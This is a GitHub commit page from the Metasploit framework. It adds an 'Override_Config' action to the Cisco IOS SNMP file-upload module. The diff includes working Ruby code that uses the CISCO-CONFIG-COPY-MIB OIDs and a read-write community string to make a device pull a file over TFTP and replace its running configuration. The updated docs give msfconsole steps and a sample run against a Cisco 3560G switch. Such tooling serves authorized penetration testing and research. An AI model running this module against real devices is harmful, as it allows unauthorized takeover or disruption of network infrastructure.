Skip to content
Permalink
Browse files

Land #11690, Add overwrite_config action to cisco_upload_file

  • Loading branch information...
asoto-r7 committed Apr 11, 2019
2 parents 0373812 + b2f2206 commit 513b939e612df892611e172679977ae8cbe51cd9
@@ -3,18 +3,36 @@
Cisco IOS devices can be configured to retrieve, via tftp, a file via SNMP.
This is a well [documented](https://www.cisco.com/c/en/us/support/docs/ip/simple-network-management-protocol-snmp/15217-copy-configs-snmp.html#copying_startup)
feature of IOS and many other networking devices, and is part of an administrator functionality.
This functionality can also be used to change their running configuration. This is documented [here](https://www.ciscozine.com/send-cisco-commands-via-snmp/).
A read-write community string is required, as well as a tftp server (metasploit includes one).
The file will be saved to `flash:`.
The default functionality of the module will upload the file and it will be saved to `flash:`.
The `Override_Config` action will override the running configuration of the device and the file will not be saved.

## Verification Steps

Upload_File (Default Action)

1. Enable SNMP with a read/write community string on IOS: `snmp-server community private rw`
2. Start msfconsole
3. Do: ```use auxiliary/scanner/snmp/cisco_upload_file```
4. Do: ```set COMMUNITY [read-write snmp]```
5. Do: ```set lhost [your IP address]```
6. Do: ```set rhosts [ip]```
7. Do: ```set source [file]```
8. Do: ```run```

Override_Config

1. Enable SNMP with a read/write community string on IOS: `snmp-server community private rw`
2. Start msfconsole
3. Do: ```use auxiliary/scanner/snmp/cisco_upload_file```
4. Do: ```set COMMUNITY [read-write snmp]```
5. Do: ```set rhosts [ip]```
6. Do: ```set source [file]```
7. Do: ```run```
5. Do: ```set lhost [your IP address]```
6. Do: ```set rhosts [ip]```
7. Do: ```set source [file]```
8. Do: ```set action [Override_Config]```
9. Do: ```run```
10. You can **Verify** that the running config has been overridden by using the **auxiliary/scanner/snmp/cisco_config_tftp** module to download the current running config from the device.

## Options

@@ -47,3 +65,27 @@ msf5 auxiliary(scanner/snmp/cisco_upload_file) > run
[*] Shutting down the TFTP service...
[*] Auxiliary module execution completed
```
### Cisco 3560G switch running IOS 12.2

```
`msf5 auxiliary(scanner/snmp/cisco_upload_file) > set COMMUNITY private`
`COMMUNITY => private`
`msf5 auxiliary(scanner/snmp/cisco_upload_file) > set LHOST 10.20.164.164`
`LHOST => 10.20.164.164`
`msf5 auxiliary(scanner/snmp/cisco_upload_file) > set action Override_Config`
`action => Override_Config`
`msf5 auxiliary(scanner/snmp/cisco_upload_file) > set rhosts 10.20.205.5`
`rhosts => 10.20.205.5`
`msf5 auxiliary(scanner/snmp/cisco_upload_file) > set source /root/Desktop/newconfig`
`source => /root/Desktop/newconfig`
`msf5 auxiliary(scanner/snmp/cisco_upload_file) > run`
`[*] Starting TFTP server...`
`[*] Copying file newconfig to 10.20.205.5...`
`[*] Scanned 1 of 1 hosts (100% complete)`
`[*] Providing some time for transfers to complete...`
`[*] Shutting down the TFTP service...`
`[*] Auxiliary module execution completed`
```
@@ -13,16 +13,44 @@ def initialize
'Name' => 'Cisco IOS SNMP File Upload (TFTP)',
'Description' => %q{
This module will copy file to a Cisco IOS device using SNMP and TFTP.
The action Override_Config will override the running config of the Cisco device.
A read-write SNMP community is required. The SNMP community scanner module can
assist in identifying a read-write community. The target must
be able to connect back to the Metasploit system and the use of
NAT will cause the TFTP transfer to fail.
},
'Author' =>
[
'pello <fropert[at]packetfault.org>'
'pello <fropert[at]packetfault.org>',
'ct5595'
],
'License' => MSF_LICENSE
'License' => MSF_LICENSE,
'Actions' =>
[
[
'Upload_File',
{
'Description' => 'Upload the file',
'ciscoFlashCopyProtocol' => '1.3.6.1.4.1.9.9.10.1.2.1.1.3.',
'ciscoFlashCopyServerAddress' => '1.3.6.1.4.1.9.9.10.1.2.1.1.4.',
'ciscoFlashCopySourceName' => '1.3.6.1.4.1.9.9.10.1.2.1.1.5.',
'ciscoFlashCopyDestinationName' => '1.3.6.1.4.1.9.9.10.1.2.1.1.6.',
}
],
[
'Override_Config',
{
'Description' => 'Override the running config',
'ccCopyProtocol' => '1.3.6.1.4.1.9.9.96.1.1.1.1.2.',
'ccCopySourceFileType' => '1.3.6.1.4.1.9.9.96.1.1.1.1.3.',
'ccCopyDestFileType' => '1.3.6.1.4.1.9.9.96.1.1.1.1.4.',
'ccCopyServerAddress' => '1.3.6.1.4.1.9.9.96.1.1.1.1.5.',
'ccCopyFileName' => '1.3.6.1.4.1.9.9.96.1.1.1.1.6.',
'ccCopyEntryRowStatus' => '1.3.6.1.4.1.9.9.96.1.1.1.1.14.'
}
]
],
'DefaultAction' => 'Upload_File'
)
register_options([
OptPath.new('SOURCE', [true, "The filename to upload" ]),
@@ -78,17 +106,14 @@ def run_host(ip)
begin
lhost = datastore['LHOST'] || Rex::Socket.source_address(ip)

ciscoFlashCopyCommand = "1.3.6.1.4.1.9.9.10.1.2.1.1.2."
ciscoFlashCopyProtocol = "1.3.6.1.4.1.9.9.10.1.2.1.1.3."
ciscoFlashCopyServerAddress = "1.3.6.1.4.1.9.9.10.1.2.1.1.4."
ciscoFlashCopySourceName = "1.3.6.1.4.1.9.9.10.1.2.1.1.5."
ciscoFlashCopyDestinationName = "1.3.6.1.4.1.9.9.10.1.2.1.1.6."
ciscoFlashCopyEntryStatus = "1.3.6.1.4.1.9.9.10.1.2.1.1.11."

session = rand(255) + 1

snmp = connect_snmp

# OID variables to for checking if the host is alive and if the community is valid
ciscoFlashCopyEntryStatus = '1.3.6.1.4.1.9.9.10.1.2.1.1.11.'
ciscoFlashCopyCommand = '1.3.6.1.4.1.9.9.10.1.2.1.1.2.'

varbind = SNMP::VarBind.new("#{ciscoFlashCopyEntryStatus}#{session}" , SNMP::Integer.new(6))
value = snmp.set(varbind)

@@ -98,24 +123,47 @@ def run_host(ip)
varbind = SNMP::VarBind.new("#{ciscoFlashCopyCommand}#{session}" , SNMP::Integer.new(2))
value = snmp.set(varbind)


# If the above line didn't throw an error, the host is alive and the community is valid
print_status("Copying file #{@filename} to #{ip}...")

varbind = SNMP::VarBind.new("#{ciscoFlashCopyProtocol}#{session}" , SNMP::Integer.new(1))
value = snmp.set(varbind)
if(action.name == 'Upload_File')

varbind = SNMP::VarBind.new("#{ciscoFlashCopyServerAddress}#{session}", SNMP::IpAddress.new(lhost))
value = snmp.set(varbind)
varbind = SNMP::VarBind.new("#{action.opts['ciscoFlashCopyProtocol']}#{session}" , SNMP::Integer.new(1))
value = snmp.set(varbind)

varbind = SNMP::VarBind.new("#{ciscoFlashCopySourceName}#{session}", SNMP::OctetString.new(@filename))
value = snmp.set(varbind)
varbind = SNMP::VarBind.new("#{action.opts['ciscoFlashCopyServerAddress']}#{session}", SNMP::IpAddress.new(lhost))
value = snmp.set(varbind)

varbind = SNMP::VarBind.new("#{ciscoFlashCopyDestinationName}#{session}", SNMP::OctetString.new(@filename))
value = snmp.set(varbind)
varbind = SNMP::VarBind.new("#{action.opts['ciscoFlashCopySourceName']}#{session}", SNMP::OctetString.new(@filename))
value = snmp.set(varbind)

varbind = SNMP::VarBind.new("#{ciscoFlashCopyEntryStatus}#{session}" , SNMP::Integer.new(1))
value = snmp.set(varbind)
varbind = SNMP::VarBind.new("#{action.opts['ciscoFlashCopyDestinationName']}#{session}", SNMP::OctetString.new(@filename))
value = snmp.set(varbind)

varbind = SNMP::VarBind.new("#{ciscoFlashCopyEntryStatus}#{session}" , SNMP::Integer.new(1))
value = snmp.set(varbind)

elsif(action.name == 'Override_Config')

varbind = SNMP::VarBind.new("#{action.opts['ccCopyProtocol']}#{session}" , SNMP::Integer.new(1))
value = snmp.set(varbind)

varbind = SNMP::VarBind.new("#{action.opts['ccCopySourceFileType']}#{session}" , SNMP::Integer.new(1))
value = snmp.set(varbind)

varbind = SNMP::VarBind.new("#{action.opts['ccCopyDestFileType']}#{session}" , SNMP::Integer.new(4))
value = snmp.set(varbind)

varbind = SNMP::VarBind.new("#{action.opts['ccCopyServerAddress']}#{session}", SNMP::IpAddress.new(lhost))
value = snmp.set(varbind)

varbind = SNMP::VarBind.new("#{action.opts['ccCopyFileName']}#{session}", SNMP::OctetString.new(@filename))
value = snmp.set(varbind)

varbind = SNMP::VarBind.new("#{action.opts['ccCopyEntryRowStatus']}#{session}" , SNMP::Integer.new(1))
value = snmp.set(varbind)
end


# No need to make noise about timeouts

0 comments on commit 513b939

Please sign in to comment.
You can’t perform that action at this time.